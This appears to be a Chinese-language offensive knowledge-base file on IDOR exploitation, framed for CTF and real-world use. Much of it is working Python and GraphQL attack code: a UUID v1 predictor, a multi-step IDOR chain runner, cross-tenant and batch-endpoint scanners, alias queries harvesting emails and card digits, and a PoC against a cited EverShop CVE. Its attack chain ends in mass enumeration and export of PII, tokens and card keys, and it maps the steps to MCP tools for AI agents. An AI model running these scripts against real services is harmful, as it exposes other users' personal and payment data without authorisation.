IDOR 深度枚举与利用 — 水平/垂直越权实战方法论
场景
IDOR (Insecure Direct Object Reference) 是 CTF 和实战中出现频率最高的漏洞类别之一,核心问题并非"使用了可预测的 ID",而是"服务端未验证请求主体是否对目标对象有访问权限"。高水平选手关注的是:UUID 不等于授权边界、多步 IDOR 链、跨租户利用、以及 GraphQL/API Batching 等协议层面的越权放大。
输入信号
- URL 路径或查询参数中包含资源标识符(
/user/123、/order?id=X、/api/v1/invoices/{uuid}) - 请求体 JSON 中包含 user_id / order_id / account_id 等自控制字段
- GraphQL query 中 id 参数可被替换
- 响应中返回其他用户的数据(邮箱、订单、卡密、PII)
- UUID 格式一致但可枚举(v1 时间戳可预测,v4 无保护时纯靠暴力空间)
- 批量 API(
/api/users/batch、/api/v3/orders/list)返回了超过当前认证范围的资源 - GraphQL 别名(alias)允许同一查询中多次引用不同 ID
核心方法论
0. 对象关系图与权限 Oracle
IDOR 不是“把 1001 改成 1002”这么简单,先画对象关系图,明确当前身份、目标对象、父对象和租户边界。权限 oracle 要稳定:同一 session、同一路径、只改一个对象引用。
| 关系 | 示例字段 | 判断动作 | 命中信号 |
|---|---|---|---|
| 当前主体 | user_id, sub, account_id | 固定 token/cookie | 响应身份不变 |
| 目标对象 | order_id, invoice_id, file_id | 替换为目标 ID | 数据主体变化 |
| 父对象 | org_id, tenant_id, project_id | 父子 ID 交叉替换 | 跨租户/跨项目返回 |
| 关联对象 | owner_id, recipient_id | 写入后读取关联资源 | 间接泄露 |
| 批量对象 | ids[], id__in, GraphQL alias | 混入合法+非法 ID | 非法对象被返回 |
响应分类:
def classify_idor_response(resp, own_markers, foreign_markers):
text = resp.text
if resp.status_code in (401, 403):
return "blocked"
if resp.status_code == 404:
return "not_found_or_hidden"
if any(m in text for m in foreign_markers):
return "foreign_data"
if any(m in text for m in own_markers):
return "own_data"
if resp.status_code == 200 and len(text) > 0:
return "unknown_200"
return "no_signal"成功样本:目标对象字段、邮箱、订单号、租户名、金额、状态等任一稳定 marker 出现在响应中。失败样本也要保留:403 是鉴权点,404 可能是真不存在,也可能是“隐藏式拒绝”,需要用已知合法 ID 校准。
0.1 对象图谱到 SQL/支付下一跳
把 API discovery 里抓到的端点先归成对象图谱,再决定下一跳。IDOR 的高价值不只在读数据,而在于它经常暴露数据库主键、订单流水、账单状态和支付回调对象,这些信号会直接喂给 SQL、支付和批量赋值链。
| 对象/字段 | 常见来源 | 立即验证 | 下一跳 |
|---|---|---|---|
user_id, account_id, owner_id | /me, JWT claim, profile API | 换对象后 marker 是否变化 | BAC 角色矩阵、Mass Assignment 角色字段 |
tenant_id, org_id, project_id | SaaS URL、响应头、GraphQL node | 父子 ID 交叉替换 | 跨租户 IDOR、数据库多租户隔离 |
order_id, cart_id, checkout_id | 购物车、订单详情、邮件链接 | 订单金额/状态/商品是否串号 | 支付状态机、优惠券和回调重放 |
invoice_id, payment_id, transaction_id | 发票、支付结果页、webhook 日志 | 发票归属、支付状态、退款按钮 | 支付逻辑、签名字段、异步任务 |
file_id, attachment_id, export_id | 导出任务、客服附件、报表下载 | 文件内容 marker | 任意文件下载、导出队列 BAC |
coupon_id, gift_card_id, license_id | 优惠码、卡密、订阅页 | 余额/可用次数是否串号 | 支付折扣、库存和卡密泄露 |
| SQL 主键/分页游标 | id, cursor, next, last_id | 连续性、空洞、排序字段 | SQLi、数据库 dump、二分枚举 |
对象图谱执行器:
# idor_object_graph_builder.py
import csv
import json
import re
from pathlib import Path
ID_HINTS = re.compile(r"(user|account|tenant|org|project|order|cart|checkout|invoice|payment|transaction|file|export|coupon|gift|license)[_-]?id", re.I)
MONEY_HINTS = re.compile(r"(amount|price|total|balance|credit|paid|refund|discount|currency)", re.I)
SQL_HINTS = re.compile(r"(^id$|last_id|cursor|offset|limit|sort|where|filter|ids?$)", re.I)
def flatten(obj, prefix=""):
if isinstance(obj, dict):
for k, v in obj.items():
key = f"{prefix}.{k}" if prefix else k
yield key, v
yield from flatten(v, key)
elif isinstance(obj, list):
for i, v in enumerate(obj[:5]):
yield from flatten(v, f"{prefix}[{i}]")
def classify_field(name, value):
text = f"{name}={value}"
if ID_HINTS.search(name):
return "object-id"
if MONEY_HINTS.search(name):
return "payment-signal"
if SQL_HINTS.search(name):
return "sql-enum-signal"
if isinstance(value, str) and re.fullmatch(r"[0-9a-f-]{32,36}", value, re.I):
return "uuid-or-token-id"
return "context"
def build_graph(samples_dir, out_json, out_csv):
nodes = []
for path in Path(samples_dir).glob("*.json"):
data = json.loads(path.read_text(encoding="utf-8"))
for key, value in flatten(data):
kind = classify_field(key, value)
if kind != "context":
nodes.append({"source": path.name, "field": key, "value": value, "kind": kind})
Path(out_json).write_text(json.dumps(nodes, ensure_ascii=False, indent=2), encoding="utf-8")
with open(out_csv, "w", newline="", encoding="utf-8") as f:
w = csv.DictWriter(f, fieldnames=["source", "field", "value", "kind"])
w.writeheader()
w.writerows(nodes)
if __name__ == "__main__":
build_graph("exports/api_samples", "exports/idor_object_graph.json", "exports/idor_role_matrix.csv")判定节奏:
- 用自身资源生成 baseline,保存
own_marker:邮箱、订单号、金额、租户名、商品名。 - 混入一个外部对象 ID,只替换一个变量,输出
idor_foreign_marker.jsonl。 - 如果命中
order_id/payment_id/invoice_id,立刻跳支付状态机:看paid_at/status/refund/amount/currency是否能被读取或影响。 - 如果命中连续主键、分页游标、排序字段,跳 SQL:用
id__in,sort,filter,where,ids[]观察报错和返回顺序。 - 如果命中
tenant_id/org_id,把同一目标对象挂到不同父对象下,区分“对象归属校验缺失”和“父对象边界缺失”。
1. ID 类型识别与预测
ID 类型 预测性 枚举难度 典型场景
─────── ────── ────── ──────────
自增整数 (1, 2, 3, …) 极高 低 简单 REST API
时间戳序列 高 中 订单号/交易号
Hashids / 短码 中 中 公开短链接
UUID v1 高 低 时间戳可逆向
UUID v4 (无保护) 无 中 空间 2^122, 但配合 API 可批量
JWT sub 无 低 JWT 泄露后直接用UUID v1 逆向工具:UUID v1 编码 100ns 精度的时间戳 + 机器标识。已知一个 UUID v1 即可推算生成时间窗口。
# uuid_v1_decode.py — 逆向 UUID v1 预测后续 ID
import struct, time
def uuid1_to_timestamp(uuid_str: str) -> float:
"""将 UUID v1 字符串转换为 Unix 时间戳"""
u = uuid_str.replace('-', '')
time_low = int(u[0:8], 16)
time_mid = int(u[8:12], 16)
time_hi_and_version = int(u[12:16], 16) & 0x0fff
uuid_time = (time_hi_and_version << 48) | (time_mid << 32) | time_low
# UUID epoch: 1582-10-15 00:00:00
unix_epoch_offset = 0x01b21dd213814000
timestamp_100ns = uuid_time - unix_epoch_offset
return (timestamp_100ns / 10000000) - 0x7d910 # leap seconds correction
def predict_uuid_v1_window(sample_uuid: str, count: int = 10) -> list:
"""基于采样 UUID 预测后续 N 个 UUID"""
ts = uuid1_to_timestamp(sample_uuid)
# 提取 clock_seq 和 node
parts = sample_uuid.split('-')
clock_seq = int(parts[3], 16) & 0x3fff
node = parts[4]
predicted = []
for i in range(1, count + 1):
next_ts = int((ts + i * 0.0001) * 10000000) + 0x01b21dd213814000
# 重组 UUID (简化: 假设 clock_seq 不溢出)
time_low = next_ts & 0xffffffff
time_mid = (next_ts >> 32) & 0xffff
time_hi = ((next_ts >> 48) & 0x0fff) | 0x1000 # version 1
predicted.append(
f"{time_low:08x}-{time_mid:04x}-{time_hi:04x}-"
f"{clock_seq:04x}-{node}"
)
return predicted2. 多步 IDOR 链
单步 IDOR 容易检测,真正致命的是多步链:
Step 1: GET /api/users/me → 返回 {"id": 101, "email": "a@b.com"}
Step 2: GET /api/users/102 → 403 (直接越权被拦截)
Step 3: POST /api/messages → 创建消息 {"to": 102, "body": "hello"}
Step 4: GET /api/messages/outbox → 返回消息列表含 recipient email/avatar
Step 5: GET /api/messages/456/read-receipt → 返回 102 的完整用户信息
↑ 读权限 + 写权限链式利用# multi_step_idor.py — 自动化多步 IDOR 链
import requests, re, json
class MultiStepIDOR:
"""多步 IDOR 链自动利用"""
def __init__(self, base_url, token):
self.base = base_url.rstrip('/')
self.s = requests.Session()
self.s.headers.update({"Authorization": f"Bearer {token}"})
self.state = {}
def run(self, chain: list) -> dict:
"""按攻击链顺序执行"""
results = {}
for step in chain:
method = step.get("method", "GET")
path = self._interpolate(step["path"])
data = self._interpolate(step.get("data", {}))
params = self._interpolate(step.get("params", {}))
if method == "GET":
r = self.s.get(f"{self.base}{path}", params=params)
elif method == "POST":
r = self.s.post(f"{self.base}{path}", json=data)
elif method == "PUT":
r = self.s.put(f"{self.base}{path}", json=data)
results[step["name"]] = {"status": r.status_code, "body": r.text[:500]}
self._extract_state(r, step.get("extract", {}))
return results
def _interpolate(self, value):
"""用 state 替换模板变量 {key}"""
if isinstance(value, str):
for k, v in self.state.items():
value = value.replace(f"{{{k}}}", str(v))
return value
if isinstance(value, dict):
return {k: self._interpolate(v) for k, v in value.items()}
return value
def _extract_state(self, response, extract_map: dict):
"""从响应中提取字段到 state"""
try:
data = response.json()
for state_key, json_path in extract_map.items():
parts = json_path.split('.')
val = data
for p in parts:
if p.isdigit():
val = val[int(p)]
else:
val = val.get(p, {})
if val and val != {}:
self.state[state_key] = val
except:
pass3. 跨租户 IDOR (SaaS Multi-Tenant)
SaaS 架构中多租户 IDOR 是最严重的一类,因为一次越权即可访问整个租户的数据。
真实 CVE 模式:
- Liferay CVE-2025-43810: 跨组织站点查看,
groupId参数可替换为任意组织 ID,无需跨组织权限即可读取其他组织的站点配置和用户数据 - Liferay CVE-2025-62241: API 端点的
accountId参数未校验调用者是否属于该 account,配合组织间共享 URL 可遍历所有账号数据
跨租户 IDOR 检测模式:
# tenant_idor_scanner.py — 跨租户枚举
import itertools, requests, json
class TenantIDORScanner:
def __init__(self, base_url, session: requests.Session):
self.base = base_url
self.s = session
TENANT_ID_CANDIDATES = [
# 常见参数名
"/api/accounts/{id}/users",
"/api/organizations/{id}/settings",
"/api/workspaces/{id}/projects",
"/api/teams/{id}/members",
"/api/projects?org_id={id}",
"/api/v2/entities/{id}/relationships",
# GraphQL
"/graphql", # 通过 query 参数传 id
]
def _discover_tenant_pattern(self, known_good_ids: list) -> list:
"""从已知合法租户 ID 推断 ID 空间"""
patterns = []
for tid in known_good_ids[:3]:
if tid.isdigit():
patterns.append("range")
elif len(tid) == 36 and tid.count('-') == 4:
patterns.append("uuid_v4")
elif len(tid) == 8: # short hash
patterns.append("hashid")
return patterns
def cross_tenant_test(self, own_tenant_id: str, target_tenant_ids: list):
"""测试是否可以访问其他租户的资源"""
results = {}
for target_id in target_tenant_ids:
if target_id == own_tenant_id:
continue
for path_tmpl in self.TENANT_ID_CANDIDATES:
url = self.base + path_tmpl.format(id=target_id)
for method in ["GET", "POST"]:
r = self.s.request(method, url, timeout=10)
if r.status_code == 200:
results[f"{method} {url}"] = {
"status": 200,
"body_preview": r.text[:300],
"tenant_id": target_id
}
return results4. GraphQL 别名批量越权 (Alias Batching)
GraphQL 允许在同一请求中通过不同别名多次调用同一个字段。如果后端在 resolver 层面做了鉴权但在 batch 层面没做限制,可以实现单次请求批量越权。
# GraphQL Alias IDOR — 一次请求枚举多个用户
query batchIDOR {
a1: user(id: 1001) { email role creditCardLast4 }
a2: user(id: 1002) { email role creditCardLast4 }
a3: user(id: 1003) { email role creditCardLast4 }
a4: user(id: 1004) { email role creditCardLast4 }
a5: user(id: 1005) { email role creditCardLast4 }
a6: user(id: 1006) { email role creditCardLast4 }
a7: user(id: 1007) { email role creditCardLast4 }
a8: user(id: 1008) { email role creditCardLast4 }
}# graphql_alias_idor.py — 自动生成 GraphQL 别名越权查询
def generate_alias_query(field: str, id_field: str, ids: list, subfields: list) -> str:
"""生成 GraphQL alias batch IDOR 查询"""
aliases = []
for i, uid in enumerate(ids):
fields_str = '\n '.join(subfields)
aliases.append(f' a{i}: {field}({id_field}: {json.dumps(uid)}) {{\n {fields_str}\n }}')
return 'query batchIDOR {\n' + '\n'.join(aliases) + '\n}'
# 真实案例: EverShop CVE-2025-12919
# GraphQL `order` query 无鉴权检查,UUID 订单号可枚举
EVER_SHOP_POC = generate_alias_query(
field="order",
id_field="id",
ids=["ord-001", "ord-002", "ord-003", "ord-004"],
subfields=["orderId", "customerName", "customerEmail", "shippingAddress { city street }", "paymentStatus", "grandTotal { value }"]
)5. REST API 批量端点越权 (Batch IDOR)
现代 REST API 常提供批量操作端点以节省请求次数。这些端点往往鉴权不如单点查询严格:
# batch_api_idor.py — 利用批量 API 端点枚举
BATCH_ENDPOINTS = [
# JSON array batch
("POST", "/api/users/batch", lambda ids: ids), # 直接传数组
("POST", "/api/v3/users", lambda ids: {"ids": ids, "fields": ["email", "role"]}),
("POST", "/api/orders/mget", lambda ids: ids),
# Comma-separated
("GET", "/api/users", lambda ids: {"id__in": ",".join(map(str, ids))}),
("GET", "/api/v2/users/list", lambda ids: {"user_ids": ",".join(map(str, ids))}),
# GraphQL batch
("POST", "/graphql", lambda ids: {"query": generate_alias_query("user", "id", ids, ["email", "role"])}),
]
def batch_idor_scan(base_url, session, target_ids: list):
"""测试批量端点越权"""
results = {}
for method, path, payload_builder in BATCH_ENDPOINTS:
url = f"{base_url}{path}"
payload = payload_builder(target_ids)
r = session.request(method, url, json=payload if method == "POST" else None,
params=payload if method == "GET" else None)
if r.status_code == 200:
results[path] = f"200 OK — {len(r.text)} bytes — {r.text[:200]}"
elif r.status_code in (403, 401):
results[path] = f"{r.status_code} blocked"
else:
results[path] = f"{r.status_code}"
# 检查响应是否包含其他用户的数据(越权成功信号)
if r.status_code == 200:
try:
data = r.json()
text = json.dumps(data, ensure_ascii=False)
results["_analysis"] = {
"data_count": len(data) if isinstance(data, list) else len(data.keys()),
"contains_foreign_marker": any(k in text for k in ["email", "address", "role", "card", "flag"])
}
except:
pass
return results5.1 ID 变形与父子错配
| 类型 | 变形 | 目的 |
|---|---|---|
| 自增整数 | id-1, id+1, 0, -1, 999999 | 找边界和默认对象 |
| UUID | 大小写、去横线、URN、URL encode | parser/ORM normalize 差异 |
| Hashids | 长度相近、同 alphabet、泄露样本反推 salt | 短码空间枚举 |
| Snowflake | 解 timestamp/worker/sequence | 按时间窗口枚举 |
| Composite key | tenant_id + object_id 交叉 | 父子鉴权错位 |
| Base64 ID | 解码后替换内部数字/JSON | GraphQL Relay IDOR |
GraphQL Relay ID 常是 Base64:
import base64
def decode_relay_id(relay_id):
raw = base64.b64decode(relay_id + "=" * (-len(relay_id) % 4)).decode()
return raw
def encode_relay_id(type_name, obj_id):
return base64.b64encode(f"{type_name}:{obj_id}".encode()).decode().rstrip("=")
print(decode_relay_id("VXNlcjoxMjM"))
print(encode_relay_id("Order", 124))6. 真实 CVE 深度分析
| CVE | 产品 | 类型 | 原理 | 利用条件 |
|---|---|---|---|---|
| CVE-2025-12919 | EverShop 0.4.3 | GraphQL IDOR | Query.order resolver 未调用鉴权中间件,UUID 订单号可枚举,泄露姓名/邮箱/地址/支付状态/商品明细 | 获取任意一个订单 UUID |
| CVE-2025-43810 | Liferay DXP 7.4 | 跨租户 IDOR | groupId 参数越权,可跨组织查看站点配置和用户 | 已知任意有效 groupId |
| CVE-2025-62241 | Liferay Portal 7.4 | API 鉴权缺失 | accountId 未校验调用者归属,配合 REST API 遍历账号数据 | 有效的 API 会话 |
| CVE-2026-25757 | Spree Commerce 4.10 | 访客订单 IDOR | authorize_access 对 user_id=nil 的访客直接返回 true,不验证订单归属 | 任意订单号 |
| CVE-2024-33003 | SAP Commerce (CVSS 9.1) | 优惠券泄露 | 优惠券/卡密在 URL 参数中明文传递,可被 Referer/日志截获 | 用户点击链接 |
攻击链
Phase 1 — 信号采集
├── 注册/登录 → 收集自身资源 ID (user_id, order_id, invoice_id)
├── 分析 ID 格式特征 (长度、字符集、校验和)
├── 降低 ID 值测试 (user/1, user/0, user/-1)
└── 检查 UUID 版本 (v1/v4 判定)
Phase 2 — 水平越权探测
├── 修改 ID 为其他用户的 ID
│ ├── Cookie/Session 不变
│ └── 观察 200 vs 403 vs 404 差异
├── GraphQL 别名批量拉取
├── 批量 API 端点探测
└── 跨租户 ID 替换
Phase 3 — 多步链
├── 找到第一个 IDOR 点 (读接口)
├── 提取受害者元信息 (email, role)
├── 利用元信息构造第二个请求 (修改/删除)
└── 检查链式影响
Phase 4 — 放大
├── 爬虫级枚举 (1k-1M 级别的 ID 遍历)
├── 导出为 CSV/JSON
└── 验证高价值数据 (卡密、Token、PII)MCP 工具映射
AI Agent 可调用以下 MCP 工具自动检测上述漏洞:
| 攻击步骤 | MCP 工具 | 说明 |
|---|---|---|
| HTTP 探测 IDOR 端点 | http_probe | 无 Cookie/Token 请求资源 API,观察响应差异 |
| 按信号查知识库 | kb_router | 搜索 IDOR/enumeration/multi-tenant 相关技术文件 |
| 阅读技术细节 | kb_read_file | 读取本文档获取完整攻击链 |
| 批量枚举测试 | run_ctf_tool | 运行自定义枚举脚本进行大规模 ID 遍历 |
参考资料
- [CVE-2025-12919] EverShop — GraphQL Order Query Without Authentication
- [CVE-2025-43810] Liferay — Cross-Organization Site Viewing via IDOR
- [CVE-2025-62241] Liferay — Missing Authorization in Account REST API
- [CVE-2026-25757] Spree Commerce — Unauthenticated Guest Order Access
- [CWE-639] Authorization Bypass Through User-Controlled Key
- PortSwigger Research: "GraphQL Alias Batching — A New Vector for IDOR Exploitation"
Evidence
- 保存 baseline、当前主体、目标对象、父对象、替换字段和完整请求/响应摘要。
- 对每个命中记录:合法 ID、目标 ID、响应分类、foreign marker、状态码、关键字段。
- 批量端点记录输入 ID 集合、返回对象数量、返回中混入的非法对象。
- 输出统一放入
exports/ctf-website/<case>/,自动检索flag{}、CTF{}、DASCTF{}。